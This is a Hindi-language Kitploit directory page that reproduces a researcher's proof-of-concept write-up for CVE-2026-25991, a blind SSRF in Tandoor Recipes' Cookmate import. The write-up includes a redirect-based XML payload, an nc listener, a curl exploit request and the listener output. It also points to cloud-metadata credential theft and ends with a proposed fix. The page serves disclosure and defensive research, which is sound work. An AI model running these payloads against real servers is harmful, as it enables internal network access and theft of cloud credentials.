Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-25991 — CVE-2026-25991 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes के Cookmate इम्पोर्ट में एक ब्लाइंड SSRF है, जो प्रमाणित उपयोगकर्ताओं को आंतरिक संसाधनों तक पहुंचने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/drkim-dev/cve-2026-25991
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubdrkim-dev/cve-2026-25991

CVE-2026-25991

CVE-2026-25991 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes के Cookmate इम्पोर्ट में एक ब्लाइंड SSRF है, जो प्रमाणित उपयोगकर्ताओं को आंतरिक संसाधनों तक पहुंचने की अनुमति देता है।

रिपॉजिटरी देखें
215 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-25991 PoC - Tandoor Recipes SSRF

रेसिपी इम्पोर्ट के माध्यम से SSRF के लिए प्रूफ-ऑफ-कॉन्सेप्ट

प्रकटीकरण: मूल रूप से मेरे द्वारा GHSA-j6xg-85mh-qqf7 के माध्यम से रिपोर्ट किया गया

⚠️ केवल अधिकृत पेंटेस्टिंग/अनुसंधान उपयोग के लिए।

भेद्यता जानकारी

फ़ील्डमान
CVE IDCVE-2026-25991
गंभीरता🔴 उच्च
CVSS स्कोर7.7
CVSS वेक्टर[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWECWE-918: सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)
प्रभावित उत्पादTandoor Recipes ≤ 2.5.0
पैच किया गया संस्करण2.5.1
परामर्शGHSA-j6xg-85mh-qqf7

CVE-2026-25991: रेसिपी इम्पोर्ट के माध्यम से आंतरिक नेटवर्क एक्सेस के साथ ब्लाइंड SSRF

सारांश

मैंने Tandoor Recipes की Cookmate रेसिपी इम्पोर्ट सुविधा में एक ब्लाइंड सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता की खोज की। एप्लिकेशन HTTP रीडायरेक्ट का अनुसरण करने के बाद गंतव्य URL को मान्य करने में विफल रहता है, जिससे कोई भी प्रमाणित उपयोगकर्ता (प्रशासनिक विशेषाधिकारों के बिना मानक उपयोगकर्ताओं सहित) सर्वर को मनमाने आंतरिक या बाहरी संसाधनों से कनेक्ट करने के लिए मजबूर कर सकता है।

इस भेद्यता का उपयोग आंतरिक नेटवर्क पोर्ट को स्कैन करने, क्लाउड इंस्टेंस मेटाडेटा (जैसे, AWS/GCP मेटाडेटा सेवा) तक पहुंचने, या सर्वर के वास्तविक IP पते का खुलासा करने के लिए किया जा सकता है।


विवरण

यह भेद्यता cookbook/integration/cookmate.py में, Cookmate इंटीग्रेशन क्लास के भीतर स्थित है।

  1. प्रारंभिक तर्क: इम्पोर्ट की गई XML फ़ाइल को संसाधित करते समय, एप्लिकेशन imageurl फ़ील्ड निकालता है।
  2. प्रारंभिक जांच: URL को हेल्पर फ़ंक्शन validate_import_url (में cookbook/helper/HelperFunctions.py) का उपयोग करके मान्य किया जाता है, जो निजी IP रेंज (जैसे, 127.0.0.1, 10.0.0.0/8) को सही ढंग से ब्लॉक करता है।
  3. बायपास (भेद्य कोड): हालांकि, मान्यता के तुरंत बाद, कोड छवि डाउनलोड करने के लिए requests.get(url) का उपयोग करता है। डिफ़ॉल्ट रूप से, requests लाइब्रेरी रीडायरेक्ट का अनुसरण करती है (allow_redirects=True)। validate_import_url फ़ंक्शन केवल प्रारंभिक URL की जांच करता है लेकिन रीडायरेक्ट होने के बाद अंतिम गंतव्य को मान्य करने में विफल रहता है।

भेद्य कोड स्निपेट (cookbook/integration/cookmate.py:73):

root@kitploit:~
if validate_import_url(url):
    # CRITICAL: requests.get डिफ़ॉल्ट रूप से रीडायरेक्ट का अनुसरण करता है, प्रारंभिक जांच को बायपास करते हुए।
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

एक हमलावर अनुरोध को प्रतिबंधित आंतरिक पते (जैसे, http://127.0.0.1:80/ या http://169.254.169.254/) पर रीडायरेक्ट करने के लिए बाहरी सेवा (जैसे httpbin.org) का उपयोग कर सकता है।

महत्वपूर्ण रूप से, AppImportView (cookbook/views/api.py) स्पष्ट रूप से CustomIsUser अनुमतियों की अनुमति देता है, जिसका अर्थ है कि कोई भी पंजीकृत उपयोगकर्ता इस भेद्यता को ट्रिगर कर सकता है। किसी विशेष प्रशासनिक अधिकार की आवश्यकता नहीं है।


PoC (प्रूफ ऑफ कॉन्सेप्ट)

पूर्वापेक्षाएँ:

  1. Tandoor इंस्टेंस पर एक मानक उपयोगकर्ता खाता (गैर-व्यवस्थापक)।
  2. Python स्थानीय रूप से स्थापित (या कोई भी HTTP सुनने वाला उपकरण जैसे nc)।

पुनरुत्पादन के चरण:

  1. एक लिसनर सेट करें (हमलावर मशीन): एक टर्मिनल खोलें और आने वाले कनेक्शन सुनने के लिए nc शुरू करें। यह एक आंतरिक सेवा या हमलावर-नियंत्रित सर्वर का अनुकरण करता है।

    root@kitploit:~
    nc -lvnp 9999
    
  2. एक दुर्भावनापूर्ण XML पेलोड बनाएं: payload.xml नामक एक फ़ाइल बनाएं। <YOUR_IP> को अपने सार्वजनिक IP पते (या पहुंच योग्य IP) से बदलें। यह पेलोड प्रारंभिक निजी IP जांच को बायपास करने और आपके लिसनर पर रीडायरेक्ट करने के लिए httpbin.org का उपयोग करता है।

    root@kitploit:~
    <recipes>
      <recipe>
        <title>SSRF_PoC</title>
        <!-- आंतरिक सेवा या हमलावर के लिसनर पर रीडायरेक्ट करें -->
        <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
      </recipe>
    </recipes>
    
화면 캡처 2026-02-07 125056
  1. एक ZIP संग्रह बनाएं: Tandoor को XML को ZIP फ़ाइल के अंदर होना आवश्यक है।

    root@kitploit:~
    zip payload.zip payload.xml
    
  2. एक्सप्लॉइट निष्पादित करें (API के माध्यम से): सत्र कुकी और CSRF टोकन प्राप्त करने के लिए मानक उपयोगकर्ता (व्यवस्थापक नहीं) के रूप में लॉग इन करें। फिर /api/import/ पर एक POST अनुरोध भेजें: (वास्तविक मानों के साथ <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> बदलें)

    root@kitploit:~
    curl -X POST 'http://<TARGET_URL>/api/import/' \
      -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
      -H 'X-CSRFToken: <CSRF_TOKEN>' \
      -F 'type=COOKMATE' \
      -F '[email protected]' \
      -F 'duplicates=true'
    
화면 캡처 2026-02-07 124915
화면 캡처 2026-02-07 124606
  1. कनेक्शन सत्यापित करें: अपना लिसनर टर्मिनल (nc) जांचें। आपको Tandoor सर्वर से एक आने वाला HTTP GET अनुरोध दिखाई देगा। यह पुष्टि करता है कि सर्वर, एक मानक उपयोगकर्ता की ओर से कार्य करते हुए, एक मनमाने बाहरी/आंतरिक संसाधन से कनेक्ट हुआ है।
    root@kitploit:~
    GET /secret.txt HTTP/1.1
    Host: <YOUR_IP>:9999
    User-Agent: python-requests/2.x.x
    ...
    
화면 캡처 2026-02-07 124642

प्रभाव

  • आंतरिक नेटवर्क स्कैनिंग: हमलावर चल रही सेवाओं की खोज के लिए आंतरिक पोर्ट की जांच कर सकते हैं।
  • क्लाउड मेटाडेटा रिसाव: यदि AWS/GCP/Azure पर तैनात है, तो हमलावर IAM क्रेडेंशियल चुराने के लिए इंस्टेंस मेटाडेटा (जैसे, http://169.254.169.254/latest/meta-data/) तक पहुंच सकते हैं, जिससे पूर्ण बुनियादी ढांचे से समझौता हो सकता है।
  • गंभीरता: उच्च (CVSS ~8.0) क्योंकि इसके लिए कम विशेषाधिकार (मानक उपयोगकर्ता) की आवश्यकता होती है और महत्वपूर्ण प्रभाव (मेटाडेटा एक्सेस/आंतरिक स्कैनिंग) हो सकता है।

उपचार

requests.get कॉल में स्वचालित रीडायरेक्ट अनुसरण अक्षम करें या रीडायरेक्ट URL के लिए सख्त मान्यता लागू करें।

डिफ (प्रस्तावित फिक्स):

root@kitploit:~
# cookbook/integration/cookmate.py

# विकल्प 1: रीडायरेक्ट अक्षम करें (अनुशंसित)
response = requests.get(url, allow_redirects=False)

# विकल्प 2: रीडायरेक्ट मान्य करें
# (निजी IP रेंज के विरुद्ध प्रत्येक रीडायरेक्ट हॉप की जांच करने के लिए जटिल तर्क आवश्यक है)
टूल डाउनलोड करें